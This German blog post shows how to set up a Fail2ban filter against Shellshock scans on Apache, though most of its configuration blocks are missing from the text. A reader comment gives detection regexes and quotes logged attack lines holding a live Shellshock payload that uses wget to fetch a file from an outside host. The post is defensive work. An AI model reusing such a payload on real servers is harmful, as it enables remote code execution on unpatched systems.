Fail2ban – Regel für Bash-Sicherheitslücke Shellshock

Einleitung

Zurzeit ist die Bash-Sicherheitslücke Shellshock in aller Munde. Vereinfacht ermöglicht diese Sicherheitslücke, in Umgebungsvariablen ungeprüften Code einzufügen, welcher beim nächsten Start einer Bash-Shell dann ausgeführt wird. Betroffen sind insbesondere Webserver, hier reicht ein gezielter Aufruf mittels wget oder curl, welcher bestimmte Parameter beinhaltet. Da die Bash generell sehr häufig genutzt wird, ist die Sicherheitslücke nicht bloß auf Webserver beschränkt sonder voraussichtlich auf ein weites Feld von Anwendungen, die Bash nutzen.

Ganz wichtig ist, dass die Fail2ban-Erweiterung kein Ersatz für ein gepatchtes System ist, sondern lediglich eine Ergänzung. Voraussetzung ist in jedem Fall, dass zunächst das System aktualisiert wird, alle gängigen Distributionen halten bereits seit Tagen entsprechende Updates bereit.

Apache-Logs

Die verdächtigen Apache-Logs habe ich mit cat /var/log/apache2/access.log | grep „() { :;“ durchsucht, die Ausgabe könnte so aussehen:

Bei nicht gepatchten System bedeutet dies im Zweifen den GAU.

Filterregel

Wir erstellen eine neue Regel /etc/fail2ban/filter.d/shellshock-scan.conf wie folgt:

Gefunden habe ich diese Regel habe hier. Sie war zugegebenermaßen etwas besser als meine, vielen Dank an dieser Stelle.

Jail.local

In /etc/fail2ban/jail.conf wird folgendes ergänzt:

Fail2ban muss im Anschluss neugestartet werden, um die neue Regel zu aktivieren.

Test

Hiermit kann die neue Filterregel getestet werden:

Die Ausgabe sieht dann so in etwa aus:

Have fun!

Ein Gedanke zu „Fail2ban – Regel für Bash-Sicherheitslücke Shellshock“

  1. Achtung!
    Mit logpath = /var/log/apache*/*.log
    UND der Regex
    .*\(\s*\)\s*\{[^“]*\}\s*\;[^“]+
    kann man sich selbst droppen, erfolgreich getestet.

    Entweder logpath auf /var/log/apache2/*.access.log ändern oder die Regex muss angepasst werden.
    failregex = -.*\(\s*\)\s*\{[^“]*\}\s*\;[^“]+
    client .*\(\s*\)\s*\{[^“]*\}\s*\;[^“]+

    Mein fail2ban hat hier gematched und seltsamerweise als meine eigene IP als Angreifer ausgegeben:

    error.log:[Mon May 25 10:33:48 2015] [error] [client 12.207.10.188] File does not exist: /etc/apache2/htdocs, referer: () { :;}; /bin/bash -c „wget -O /tmp/bbb dp[usw.]
    other_vhosts_access.log:meinwebserver.de:80 12.207.10.188 – – [25/May/2015:10:33:48 +0200] „GET / HTTP/1.0“ 404 422 „() { :;}; /bin/bash -c \“wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=38322e3230372e3135342e323232\““ „() { :;}; /bin/bash -c \“wget -O /tmp/bbb dp[usw.]

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.